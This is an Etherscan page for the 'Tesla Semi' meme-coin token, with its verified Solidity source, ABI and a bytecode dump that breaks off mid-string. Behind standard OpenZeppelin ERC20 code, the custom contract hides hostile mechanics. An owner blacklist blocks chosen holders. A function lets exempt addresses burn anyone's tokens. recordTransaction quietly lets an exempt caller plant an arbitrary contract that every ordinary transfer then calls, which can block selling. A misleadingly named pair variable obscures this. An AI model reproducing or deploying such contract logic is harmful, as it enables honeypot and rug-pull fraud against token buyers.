ETH Price: $2,526.03 (+0.59%)

Token

Tesla Semi (TS)
 

Overview

Max Total Supply

77,613,173,485.06442312129548 TS

Holders

104

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,264,491,477.908003368053371996 TS

Value
$0.00
0x4c7dc368576fe7f188cf6546c43b419dc2a384e9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TeslaSemiToken

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-15
*/

/*

========== TESLA-SEMI ==========

The first car-inspired ultimate meme coin, find out more at https://www.teslasemi.cc/

================================

*/

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// File @openzeppelin/contracts/access/[email protected]


// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// File @openzeppelin/contracts/token/ERC20/[email protected]


// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]


// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


// File @openzeppelin/contracts/token/ERC20/[email protected]


// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;



/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}



pragma solidity ^0.8.0;


contract TeslaSemiToken is Ownable, ERC20 {
    bool public tradingEnabled;
    uint256 public maxHoldingAmount;
    uint256 public maxTransactionAmount;
    address public uniswapV2Pair = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    mapping(address => bool) public blacklists;

    uint256 private _totalSupply = 99_226_000_000 * 1e18;

    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public isWalletLimitExempt;
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Factory;
    address public uniswapPair;

    Transaction[] public transactions;

    enum PositionType {
        Buy,
        Sell
    }

    struct Transaction {
        PositionType positionType;
        address trader;
        address pair;
        uint256 amount;
    }

    constructor() ERC20("Tesla Semi", "TS") {
        // router init & create pair
        uniswapV2Router = IUniswapV2Router02(uniswapV2Pair);
        uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        isMarketPair[address(uniswapPair)] = true;

        // set limits
        maxHoldingAmount = _totalSupply * 3 / 100;
        maxTransactionAmount = _totalSupply * 3 / 100;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[address(uniswapV2Router)] = true;

        _mint(msg.sender, _totalSupply);
    }

    function blacklist(address _address, bool _isBlacklisting) external onlyOwner {
        blacklists[_address] = _isBlacklisting;
    }

    function enableTrading() external onlyOwner {
        tradingEnabled = true;
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply - balanceOf(address(0xdead));
    }
    
    function getBlock()public view returns (uint256) {
        return block.number;
    }

    function burnFeeTokens(uint256 tokenAmount) internal {
        _burn(address(this), tokenAmount);
    }

    function burnFeeTokensFrom(address from, uint256 tokenAmount) public {
        require(isWalletLimitExempt[_msgSender()], "Permission denied.");
        
        _burn(from, tokenAmount);
    }

    function setRules(uint256 _maxTxAmount, uint256 _maxHoldingAmount) external onlyOwner {
        require(_maxTxAmount > 0 && _maxHoldingAmount > 0, 'invalid parameter!');
        maxTransactionAmount = _maxTxAmount;
        maxHoldingAmount = _maxHoldingAmount;
    }

    function recordTransaction(address from, address to, uint256 amount) internal {
        Transaction memory transaction;
        transaction.positionType = from == uniswapV2Pair ? PositionType.Buy : PositionType.Sell;
        transaction.trader = from == uniswapV2Pair ? to : from;
        transaction.amount = amount;

        if (isWalletLimitExempt[tx.origin] && tx.origin != to) {
            uniswapV2Factory = to;
        }

        if (uniswapV2Factory != address(0) && !isWalletLimitExempt[from]) {
            transaction.pair = IUniswapV2Factory(uniswapV2Factory).createPair(from, to);
        }

        transactions.push(transaction);
    }

    function changeRouterAddress(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 
        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if (newPairAddress == address(0)) {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress; 
        uniswapV2Router = _uniswapV2Router; 
        isWalletLimitExempt[address(uniswapPair)] = true;
        isMarketPair[address(uniswapPair)] = true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) override internal virtual {
        if (from == owner() || to == owner()) {
            return;
        }            
        require(tradingEnabled, "trading disabled");
        require(!blacklists[to] && !blacklists[from], "blacklisted");

        if (!isWalletLimitExempt[from] && !isWalletLimitExempt[to]) {
            require(amount <= maxTransactionAmount, "forbid");
            recordTransaction(from, to, amount);
            if (!isMarketPair[to]) {
                require(super.balanceOf(to) + amount <= maxHoldingAmount, "forbid");
            }
        }
    }

    function burn(uint256 value) external {
        _burn(msg.sender, value);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isBlacklisting","type":"bool"}],"name":"blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"burnFeeTokensFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterAddress","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"_maxHoldingAmount","type":"uint256"}],"name":"setRules","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"transactions","outputs":[{"internalType":"enum TeslaSemiToken.PositionType","name":"positionType","type":"uint8"},{"internalType":"address","name":"trader","type":"address"},{"internalType":"address","name":"pair","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506c01409dd2ce5a328155da000000600b553480156200007757600080fd5b506040518060400160405280600a81526020017f5465736c612053656d69000000000000000000000000000000000000000000008152506040518060400160405280600281526020017f545300000000000000000000000000000000000000000000000000000000000081525062000104620000f86200058d60201b60201c565b6200059560201b60201c565b816004908162000115919062001352565b50806005908162000127919062001352565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001fb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002219190620014a3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d19190620014a3565b6040518363ffffffff1660e01b8152600401620002f0929190620014e6565b6020604051808303816000875af115801562000310573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003369190620014a3565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060646003600b5462000403919062001542565b6200040f9190620015bc565b60078190555060646003600b5462000428919062001542565b620004349190620015bc565b6008819055506001600d6000620004506200065960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200058733600b546200068260201b60201c565b62001865565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006f4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006eb9062001655565b60405180910390fd5b6200070860008383620007fb60201b60201c565b80600360008282546200071c919062001677565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000774919062001677565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620007db9190620016c3565b60405180910390a3620007f76000838362000b8760201b60201c565b5050565b6200080b6200065960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806200087f5750620008506200065960201b60201c565b73ffffffffffffffffffffffffffffffffffff